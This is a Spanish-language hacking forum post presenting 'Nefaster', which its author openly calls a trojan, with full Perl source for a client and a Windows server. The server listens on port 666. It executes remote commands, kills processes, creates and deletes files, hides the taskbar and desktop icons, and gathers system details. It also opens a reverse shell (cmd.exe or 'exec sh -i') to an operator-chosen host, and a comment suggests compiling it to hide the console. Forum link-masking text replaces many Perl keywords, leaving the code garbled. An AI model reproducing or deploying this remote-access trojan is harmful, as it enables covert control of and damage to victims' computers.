comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Nefaster

  • 0 Respuestas
  • 793 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:47:59 pm »
Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion
  • Navegador de archivos
  • Cambiar directorio de navegacion
  • Crear archivo
  • Borrar archivo
  • Borrar directorio
  • Reproducir musica o videos poniendo la ruta en la opcion
  • Parar reproduccion
  • Abrir lectora de CD
  • Cerrar lectora de CD
  • Puertos abiertos
  • Mensaje
  • Ejecutar comandos
  • Esconder barra de tareas
  • Devolver barra de tareas
  • Esconder iconos del escritorio
  • Devolver iconos del escritorio
  • Administrar procesos con posibilidad de cerrar el que quieran
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda



El codigo del cliente es este

Código: Perl
  1. #!usr/bin/perl
  2. #Nefester (Cliente) 0.1 By Doddy H
  3.  
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. &menu;
  9.  
  10. sub head {
  11.  
  12. You are not allowed to view links. Register or Login 'cls';
  13.  
  14. You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(
  15.  
  16.  
  17.             E      F                   TT    E        
  18. NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR
  19.  NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR
  20.  NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R
  21.  NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR  
  22.  NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R  
  23.  NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R
  24. NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
  25.                             SS                 R   R  
  26.  
  27.  
  28.  
  29. );
  30.  
  31. }
  32.  
  33. sub menu {
  34.  
  35. &head;
  36.  
  37. You are not allowed to view links. Register or Login "[Target] : ";
  38. You are not allowed to view links. Register or Login(my $ip = <STDIN>);
  39.  
  40.  
  41.  
  42. my $socket = new IO::Socket::INET(
  43. PeerAddr => $ip,
  44. PeerPort => 666,
  45. Proto => 'tcp',
  46. Timeout  => 5
  47. );
  48.  
  49. if ($socket) {
  50. $socket->You are not allowed to view links. Register or Login;
  51. &menuo($ip);
  52. } else {
  53. You are not allowed to view links. Register or Login "\n\n[-] Target no infectado\n";
  54. <STDIN>;
  55. &menu;
  56. }
  57.  
  58. }
  59.  
  60. sub menuo {
  61.  
  62. &head;
  63.  
  64. You are not allowed to view links. Register or Login "[$_[0]] : Servidor Activado\n\n";
  65. You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(
  66. 1 : Informacion
  67. 2 : Navegador
  68. 3 : Abrir CD
  69. 4 : Cerrar CD
  70. 5 : Puertos abiertos
  71. 6 : Mensaje
  72. 7 : CMD
  73. 8 : Esconder barra de tareas
  74. 9 : Devolver barra de tareas
  75. 10 : Esconder iconos
  76. 11 : Devolver iconos
  77. 12 : Administrar procesos
  78. 13 : Reverse Shell
  79. 14 : Cambiar IP
  80. 15 : Salir
  81.  
  82.  
  83. );
  84. You are not allowed to view links. Register or Login "[Opcion] : ";
  85. You are not allowed to view links. Register or Login(my $opcion = <STDIN>);
  86.  
  87.  
  88. if ($opcion eq 1) {
  89. You are not allowed to view links. Register or Login "\n\n[+] Informacion\n\n";
  90. $re = daryrecibir($_[0],"infor");
  91. if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
  92. You are not allowed to view links. Register or Login "[Dominio] : $1\n";
  93. You are not allowed to view links. Register or Login "[Chip] : $2\n"; 
  94. You are not allowed to view links. Register or Login "[Version] : $3\n";      
  95. You are not allowed to view links. Register or Login "[Nombre] : $4\n";       
  96. You are not allowed to view links. Register or Login "[OS] : $5\n";
  97. <stdin>;
  98. }
  99. &menuo($_[0]);
  100. }
  101. elsif ($opcion eq 2) {
  102.  
  103. menu1:
  104. You are not allowed to view links. Register or Login "\n\n[+] Navegacion de archivos\n\n";
  105. $cwd = daryrecibir($_[0],"getcwd"."\r\n");
  106. You are not allowed to view links. Register or Login "tengo $cwd\n";
  107. show($_[0],"/");
  108. &menu2;
  109.  
  110. sub menu2 {
  111. You are not allowed to view links. Register or Login "\n\n[Opciones]\n\n";
  112. You are not allowed to view links. Register or Login "1 - Cambiar directorio\n";
  113. You are not allowed to view links. Register or Login "2 - Crear archivo\n";
  114. You are not allowed to view links. Register or Login "3 - Borrar archivo\n";
  115. You are not allowed to view links. Register or Login "4 - Borrar directorio\n";
  116. You are not allowed to view links. Register or Login "5 - Reproducir musica\n";
  117. You are not allowed to view links. Register or Login "6 - Parar reproduccion\n";
  118. You are not allowed to view links. Register or Login "7 - Volver al menu inicial\n\n";
  119. You are not allowed to view links. Register or Login "[Opcion] : ";
  120. You are not allowed to view links. Register or Login(my $op = <stdin>);
  121.  
  122. if ($op eq 1) {
  123. You are not allowed to view links. Register or Login "\n\n[+] Directorio : ";
  124. You are not allowed to view links. Register or Login (my $dir=<stdin>);
  125. $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
  126. if ($ver=~/ok/ig) {
  127. You are not allowed to view links. Register or Login "\n\n[+] Directory changed\n\n";
  128. }
  129. show($_[0],$dir);
  130. &menu2;
  131. <stdin>;
  132. }
  133.  
  134. elsif ($op eq 2) {
  135.  
  136. You are not allowed to view links. Register or Login "\n\n[Nombre] : ";
  137. You are not allowed to view links. Register or Login(my $name = <stdin>);
  138. You are not allowed to view links. Register or Login "\n\n[Contenido] : ";
  139. You are not allowed to view links. Register or Login(my $code = <stdin>);
  140.  
  141. daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
  142.  
  143. You are not allowed to view links. Register or Login "\n\n[+] Archivo creado \n\n";
  144. <stdin>;
  145. }
  146. elsif ($op eq 3) {
  147. You are not allowed to view links. Register or Login "\n\n[Archivo a borrar] : ";
  148. You are not allowed to view links. Register or Login(my $file = <stdin>);
  149. $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
  150. if ($re=~/ok/) {
  151. You are not allowed to view links. Register or Login "\n\n[+] Archivo Borrado\n\n";
  152. } else {
  153. You are not allowed to view links. Register or Login "\n\n[-] Error\n\n";
  154. }
  155. <stdin>;
  156. }
  157.  
  158. elsif ($op eq 4) {
  159. You are not allowed to view links. Register or Login "\n\n[Directorio a borrar] : ";
  160. You are not allowed to view links. Register or Login(my $file = <stdin>);
  161. $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
  162. if ($re=~/ok/) {
  163. You are not allowed to view links. Register or Login "\n\n[+] Directorio Borrado\n\n";
  164. } else {
  165. You are not allowed to view links. Register or Login "\n\n[-] Error\n\n";
  166. }
  167. <stdin>;
  168. }
  169.  
  170. elsif ($op eq 5) {
  171. You are not allowed to view links. Register or Login "\n\n[Archivo] : ";
  172. You are not allowed to view links. Register or Login(my $file = <stdin>);
  173. You are not allowed to view links. Register or Login "\n\n[+] Reproduciendo\n\n";
  174. daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
  175. <stdin>;
  176. }
  177. elsif ($op eq 6) {
  178. You are not allowed to view links. Register or Login "\n\n[+] Reproduccion detenida\n\n";
  179. daryrecibir($_[0],"pararmusic");
  180. <stdin>;
  181. }
  182. elsif ($op eq 7) {
  183. &menuo($_[0]);
  184. }
  185. else {
  186. show($_[0],"/");
  187. }
  188. You are not allowed to view links. Register or Login menu1;
  189. }
  190. }
  191.  
  192. elsif ($opcion eq 3) {
  193. daryrecibir($_[0],"opencd");
  194. &menuo($_[0]);
  195. }
  196.  
  197. elsif ($opcion eq 4) {
  198. daryrecibir($_[0],"closedcd");
  199. &menuo($_[0]);
  200. }
  201.  
  202. elsif ($opcion eq 5) {
  203. You are not allowed to view links. Register or Login "\n[Puertos Abiertos]\n\n";
  204. $re = daryrecibir($_[0],"porters");
  205. while ($re=~/:(.*?):/ig) {
  206. if ($1 ne "") {
  207. You are not allowed to view links. Register or Login "[+] $1\n";
  208. }
  209. }
  210. <stdin>;
  211. &menuo($_[0]);
  212. }
  213. elsif ($opcion eq 6) {
  214. You are not allowed to view links. Register or Login "\n[Mensaje] : ";
  215. You are not allowed to view links. Register or Login (my $msg = <stdin>);
  216. daryrecibir($_[0],"msgbox $msg");
  217. <stdin>;
  218. &menuo($_[0]);
  219. }
  220. elsif ($opcion eq 7) {
  221.  
  222. menu:
  223.  
  224. my $cmd,$re;
  225.  
  226. You are not allowed to view links. Register or Login "\n\n>";
  227.  
  228. You are not allowed to view links. Register or Login(my $cmd= <stdin>);
  229.  
  230. if ($cmd=~/You are not allowed to view links. Register or Login/ig) {
  231. &menuo($_[0]);
  232. }
  233.  
  234. $re = daryrecibir($_[0],"comando :$cmd:");
  235. You are not allowed to view links. Register or Login "\n".$re;
  236. You are not allowed to view links. Register or Login menu;
  237. &menuo($_[0]);
  238. }
  239. elsif ($opcion eq 8) {
  240. daryrecibir($_[0],"iniciochau");
  241. &menuo($_[0]);
  242. }
  243. elsif ($opcion eq 9) {
  244. daryrecibir($_[0],"iniciovuelve");
  245. &menuo($_[0]);
  246. }
  247. elsif ($opcion eq 10) {
  248. daryrecibir($_[0],"iconochau");
  249. &menuo($_[0]);
  250. }
  251. elsif ($opcion eq 11) {
  252. daryrecibir($_[0],"iconovuelve");
  253. &menuo($_[0]);
  254. }
  255.  
  256. elsif ($opcion eq 12) {
  257.  
  258. &reload($_[0]);
  259.  
  260. sub reload {
  261.  
  262. my @pro;
  263. my @pids;
  264.  
  265. my $sockex = new IO::Socket::INET(
  266. PeerAddr => $_[0],
  267. PeerPort => 666,
  268. Proto => 'tcp',
  269. Timeout  => 5
  270. );
  271.  
  272. You are not allowed to view links. Register or Login $sockex "mostrarpro"."\r\n";
  273. $sockex->You are not allowed to view links. Register or Login($re,5000);
  274. $sockex->You are not allowed to view links. Register or Login;
  275.  
  276. You are not allowed to view links. Register or Login $re;
  277.  
  278. You are not allowed to view links. Register or Login "\n\n[+] Procesos encontrados\n\n";
  279.  
  280. while ($re=~/PROXEC(.*?)PROXEC/ig) {
  281. if ($1 ne "") {
  282. You are not allowed to view links. Register or Login(@pro,$1);
  283. }
  284. }
  285.  
  286. while ($re=~/PIDX(.*?)PIDX/ig) {
  287. if ($1 ne "") {
  288. You are not allowed to view links. Register or Login(@pids,$1);
  289. }
  290. }
  291.  
  292. $cantidad = You are not allowed to view links. Register or Login(@pro);
  293.  
  294. for my $num(1..$cantidad) {
  295. if ($pro[$num] ne "") {
  296. You are not allowed to view links. Register or Login "\n[+] Proceso : ".$pro[$num]."\n";
  297. You are not allowed to view links. Register or Login "[+] PIDS : ".$pids[$num]."\n";
  298. }
  299. }
  300.  
  301. You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(
  302.  
  303. [Opciones]
  304.  
  305.  
  306. 1 - Refrescar lista
  307. 2 - Cerrar procesos
  308. 3 - Volver al menu
  309.  
  310. );
  311.  
  312. You are not allowed to view links. Register or Login "\n[Opcion] :  ";
  313. You are not allowed to view links. Register or Login(my $opc = <stdin>);
  314.  
  315. if ($opc=~/1/ig) {
  316. &reload($_[0]);
  317. }
  318. elsif($opc=~/2/ig) {
  319. You are not allowed to view links. Register or Login "\n[+] Write the name of the process : ";
  320. You are not allowed to view links. Register or Login(my $numb = <stdin>);
  321. You are not allowed to view links. Register or Login "\n[+] Write the PID of the process : ";
  322. You are not allowed to view links. Register or Login(my $pid = <stdin>);
  323. $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
  324. if ($re=~/ok/ig) {
  325. You are not allowed to view links. Register or Login "\n\n[+] Proceso cerrado\n\n";
  326. } else {
  327. You are not allowed to view links. Register or Login "\n\n[-] Error\n\n";
  328. }
  329. <stdin>;
  330. &reload($_[0]);
  331. }
  332. elsif($opc=~/3/ig) {
  333. &menuo($_[0]);
  334. }
  335. else {
  336. &reload;
  337. }
  338. }
  339. }
  340.  
  341. elsif ($opcion eq 13) {
  342. You are not allowed to view links. Register or Login "\n\n[IP] : ";
  343. You are not allowed to view links. Register or Login(my $ip = <stdin>);
  344. You are not allowed to view links. Register or Login "\n\n[Port] : ";
  345. You are not allowed to view links. Register or Login(my $port = <stdin>);
  346. You are not allowed to view links. Register or Login "\n\n[+] Connected !!!\n\n";
  347. $re = daryrecibir($_[0],"backshell :$ip:$port:");
  348. }
  349. elsif ($opcion eq 14) {
  350. &menu;
  351. }
  352. elsif ($opcion eq 15) {
  353. You are not allowed to view links. Register or Login 1;
  354. }      
  355. else {
  356. &menuo;
  357. }
  358. }
  359.  
  360. sub daryrecibir {
  361.  
  362. my $sockex = new IO::Socket::INET(
  363. PeerAddr => $_[0],
  364. PeerPort => 666,
  365. Proto => 'tcp',
  366. Timeout  => 5
  367. );
  368.  
  369. You are not allowed to view links. Register or Login $sockex $_[1]."\r\n";
  370. $sockex->You are not allowed to view links. Register or Login($re,5000);
  371. $sockex->You are not allowed to view links. Register or Login;
  372. You are not allowed to view links. Register or Login $re."\r";
  373. }
  374.  
  375. sub show {
  376.  
  377. my $re = daryrecibir($_[0],"getcwd"."\r\n");
  378. You are not allowed to view links. Register or Login "\n\n[+] Directorio Actual : $re\n\n";
  379. $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
  380. You are not allowed to view links. Register or Login "\n\n[Directorios]\n\n";
  381.  
  382. while ($re1=~/DIREX(.*?)DIREX/ig) {
  383. if ($1 ne "") {
  384. You are not allowed to view links. Register or Login "[+] $1\n";
  385. }
  386. }
  387.        
  388. You are not allowed to view links. Register or Login "\n\n[Archivos]\n\n";
  389.  
  390. while ($re1=~/FILEX(.*?)FILEX/ig) {
  391. if ($1 ne "") {
  392. You are not allowed to view links. Register or Login "[+] $1\n";
  393. }
  394. }
  395.  
  396. }
  397.  
  398. #
  399. # ¿ The End ?
  400. #
  401.  

Y el server

Código: Perl
  1.  
  2. #!/usr/bin/perl
  3. #Nefester (sERVidor) 0.1 By Doddy H
  4. #Compilar con perl2exe para sacar consola
  5.  
  6. use IO::Socket;
  7. use Socket;
  8. use Win32;
  9. use Cwd;
  10. use Win32::MediaPlayer;
  11. use Win32::Process::List;
  12. use Win32::Process;
  13. use Win32::API;
  14.  
  15. use constant SW_HIDE => 0;
  16. use constant SW_SHOWNORMAL => 1;
  17.  
  18. my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
  19. my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
  20.  
  21. $test = new Win32::MediaPlayer;
  22.  
  23. my $sock = IO::Socket::INET->new(LocalPort => 666,
  24. Listen => 10,
  25. Proto => 'tcp',
  26. Reuse => 1);
  27.  
  28. You are not allowed to view links. Register or Login "online\n";
  29.  
  30. while (my $con = $sock->You are not allowed to view links. Register or Login){
  31. $resultado = <$con>;
  32. You are not allowed to view links. Register or Login "boludo mando : $resultado\n";
  33.  
  34. if ($resultado=~/msgbox (.*)/ig) {
  35. Win32::MsgBox($1,0,"Mensaje de Dios")
  36. }
  37.  
  38. if ($resultado=~/backshell :(.*):(.*):/ig) {
  39.  
  40. my ($ip,$port) = ($1,$2);
  41.  
  42. You are not allowed to view links. Register or Login "conectando $ip con $port\n";
  43.  
  44. $ip =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  45. $port =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  46.  
  47. conectar($ip,$port);
  48. tipo();
  49.  
  50. sub conectar {
  51. You are not allowed to view links. Register or Login(REVERSE, PF_INET, SOCK_STREAM, You are not allowed to view links. Register or Login('tcp'));
  52. You are not allowed to view links. Register or Login(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  53. You are not allowed to view links. Register or Login (STDIN,">&REVERSE");
  54. You are not allowed to view links. Register or Login (STDOUT,">&REVERSE");
  55. You are not allowed to view links. Register or Login (STDERR,">&REVERSE");
  56. }
  57.  
  58. sub tipo {
  59. You are not allowed to view links. Register or Login "\n[*] Reverse Shell Starting...\n\n";
  60. if ($^O =~/Win32/ig) {
  61. infowin();
  62. You are not allowed to view links. Register or Login("cmd.exe");
  63. } else {
  64. infolinux();
  65. #root();  
  66. You are not allowed to view links. Register or Login("export TERM=xterm;exec sh -i");
  67. }
  68. }
  69.  
  70. sub infowin {
  71. You are not allowed to view links. Register or Login "[+] Domain Name : ".Win32::DomainName()."\n";
  72. You are not allowed to view links. Register or Login "[+] OS Version : ".Win32::GetOSName()."\n";
  73. You are not allowed to view links. Register or Login "[+] Username : ".Win32::LoginName()."\n\n\n";
  74. }
  75.  
  76. sub infolinux {
  77. You are not allowed to view links. Register or Login "[+] System information\n\n";
  78. You are not allowed to view links. Register or Login("uname -a");
  79. You are not allowed to view links. Register or Login "\n\n";
  80. }
  81.  
  82.  
  83. }
  84.  
  85. if ($resultado =~/opencd/ig) {
  86.  
  87. use Win32::API;
  88.  
  89. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  90. my $rta = ' ' x 127;  
  91. $ventana->Call('set CDAudio door open', $rta, 127, 0);
  92. You are not allowed to view links. Register or Login $con "ok"."\r\n";
  93. }
  94.  
  95. if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
  96.  
  97. my ($pid,$numb) = ($1,$2);
  98.  
  99. $pid=~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  100. $numb=~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  101.  
  102. if (Win32::Process::KillProcess($pid,$numb)) {
  103. You are not allowed to view links. Register or Login $con "ok\r\n";
  104. }
  105. }
  106.  
  107. if ($resultado =~/closedcd/ig) {
  108.  
  109. use Win32::API;
  110.  
  111. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  112. my $rta = ' ' x 127;  
  113. $ventana->Call('set CDAudio door closed', $rta, 127, 0);
  114. You are not allowed to view links. Register or Login $con "ok"."\r\n";
  115. }
  116.  
  117. if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
  118.  
  119. my $filex = $1;
  120.  
  121. $filex =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  122.  
  123. You are not allowed to view links. Register or Login getcwd()."/".$filex."\n\n";
  124.  
  125. if (You are not allowed to view links. Register or Login(getcwd()."/".$filex)) {
  126. You are not allowed to view links. Register or Login $con "ok\r\n";
  127. }
  128.  
  129. }
  130.  
  131.  
  132.  
  133. if ($resultado=~/infor/ig) {
  134. You are not allowed to view links. Register or Login "mando"; 
  135. use Win32;
  136.  
  137.  
  138. my $domain = Win32::DomainName();
  139. my $chip = Win32::GetChipName();
  140. my $version = Win32::GetOSVersion();
  141. my $nombre = Win32::LoginName();
  142. my  $os = Win32::GetOSName();
  143.  
  144. You are not allowed to view links. Register or Login $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
  145. }
  146.  
  147.  
  148. if ($resultado=~/porters/ig) {
  149.  
  150. use Net::Netstat::Wrapper;
  151.  
  152. $por = "";
  153. @ports = Net::Netstat::Wrapper->only_port();
  154. for(@ports) {
  155. $por = $por.":".$_;
  156. }
  157. You are not allowed to view links. Register or Login $con $por."\r\n";
  158. }
  159.  
  160.  
  161. if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
  162.  
  163. my $cancion = $1;
  164.  
  165. $cancion =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  166.  
  167. $test->load($cancion);
  168. $test->play;   
  169.  
  170. }
  171.  
  172. if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
  173.  
  174. my $dir = $1;
  175. $dir =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  176.  
  177.  
  178. if (You are not allowed to view links. Register or Login($dir)) {
  179. You are not allowed to view links. Register or Login $con "ok\r\n";
  180. }
  181.  
  182. }
  183.  
  184. if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
  185.  
  186. my $veox = $1;
  187. $veox =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  188.  
  189. if (You are not allowed to view links. Register or Login(getcwd()."/".$veox)) {
  190. You are not allowed to view links. Register or Login $con "ok\r\n";
  191. }
  192. }
  193.  
  194.  
  195.  
  196. if ($resultado=~/pararmusic/ig) {
  197. $test->You are not allowed to view links. Register or Login;
  198. }
  199.  
  200.  
  201.  
  202. if ($resultado=~/dirnow ACATOY(.*)/ig) {
  203.  
  204. my $real = $1;
  205. You are not allowed to view links. Register or Login $real;
  206.  
  207. $real =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  208.  
  209. You are not allowed to view links. Register or Login "real $real\n\n";
  210.  
  211. my @archivos = coleccionar($real);
  212.  
  213. for (@archivos) {
  214. You are not allowed to view links. Register or Login $_."\n";
  215. my $todo = $real."/".$_;
  216.  
  217. You are not allowed to view links. Register or Login $todo."\n";
  218.  
  219. if (-f $todo) {
  220. You are not allowed to view links. Register or Login $con "FILEX".$_."FILEX"."\r\n";
  221. You are not allowed to view links. Register or Login "File : ".$_."\n";
  222. }
  223.  
  224. if (-d $todo) {
  225. You are not allowed to view links. Register or Login $con "DIREX".$_."DIREX"."\r\n";
  226. You are not allowed to view links. Register or Login "Dir : ".$_."\n";
  227. }
  228.  
  229. }
  230. }
  231.  
  232. sub coleccionar {
  233. You are not allowed to view links. Register or Login DIR,$_[0];
  234. my @archivos = You are not allowed to view links. Register or Login DIR;
  235. You are not allowed to view links. Register or Login DIR;
  236. You are not allowed to view links. Register or Login @archivos;
  237. }
  238.  
  239. if ($resultado=~/getcwd/ig) {
  240. You are not allowed to view links. Register or Login "envie ".getcwd()."\n\n";
  241. You are not allowed to view links. Register or Login $con getcwd()."\r\n";
  242. }
  243.  
  244.  
  245. if ($resultado=~/mostrarpro/ig) {
  246.  
  247.  
  248. my $new = Win32::Process::List->new();  
  249. my %process = $new->GetProcesses();
  250. for my $pid (You are not allowed to view links. Register or Login %process) {
  251. You are not allowed to view links. Register or Login $con "PROXEC".$process{$pid}."PROXEC\r\n";
  252. You are not allowed to view links. Register or Login $con "PIDX".$pid."PIDX\r\n";
  253.  
  254. }
  255.  
  256.  
  257. }
  258.  
  259. if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
  260. my $name = $1;
  261. my $file = $2;
  262.  
  263. You are not allowed to view links. Register or Login $name;
  264. You are not allowed to view links. Register or Login $file;
  265.  
  266. $name =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  267. $file =~You are not allowed to view links. Register or Login/(\You are not allowed to view links. Register or Login)+$//;
  268.  
  269. You are not allowed to view links. Register or Login "name is $name end\n";
  270. You are not allowed to view links. Register or Login "file is $file end\n";
  271.  
  272. You are not allowed to view links. Register or Login FILE,">>".$name;
  273. You are not allowed to view links. Register or Login FILE $file."\n";
  274. You are not allowed to view links. Register or Login FILE;
  275. }
  276.  
  277. if ($resultado=~/comando :(.*):/ig) {
  278. You are not allowed to view links. Register or Login "llego comando $1\n";
  279. You are not allowed to view links. Register or Login $resultado;
  280. my $temp = You are not allowed to view links. Register or Login($1);
  281. You are not allowed to view links. Register or Login $con $temp."\r";
  282. }
  283.  
  284. if ($resultado=~/iniciochau/g) {
  285. inicio_chau("Shell_TrayWnd");
  286. }
  287. if ($resultado=~/iniciovuelve/g) {
  288. inicio_vuelve("Shell_TrayWnd");
  289. } else {
  290. You are not allowed to view links. Register or Login $resultado;
  291. }
  292. if ($resultado=~/iconovuelve/g) {
  293. icono_vuelve("Program Manager");
  294. }
  295. if ($resultado=~/iconochau/g) {
  296. icono_chau("Program Manager");
  297. }
  298.  
  299.  
  300. sub icono_vuelve {
  301. $handle = $a->Call(0,$_[0]);
  302. $b->Call($handle,SW_SHOWNORMAL);
  303.  
  304. }
  305.  
  306. sub icono_chau {
  307.  
  308. $handle = $a->Call(0,$_[0]);
  309. $b->Call($handle,SW_HIDE);
  310.  
  311. }
  312.  
  313. sub inicio_vuelve {
  314. $handlex = $a->Call($_[0],0);
  315. $b->Call($handlex,SW_SHOWNORMAL);
  316.  
  317. }
  318.  
  319. sub inicio_chau {
  320.  
  321. $handlea = $a->Call($_[0],0);
  322. $b->Call($handlea,SW_HIDE);
  323.  
  324. }
  325.  
  326.  
  327. }
  328.  
  329.  
  330. # ¿ The End ?
  331.  


Si lo quieren descargar desde sourceforge

Código: You are not allowed to view links. Register or Login
https://sourceforge.net/projects/nefaster/
« Última modificación: Marzo 14, 2015, 10:04:02 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3005
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1409
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 1330
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1040
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1236
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear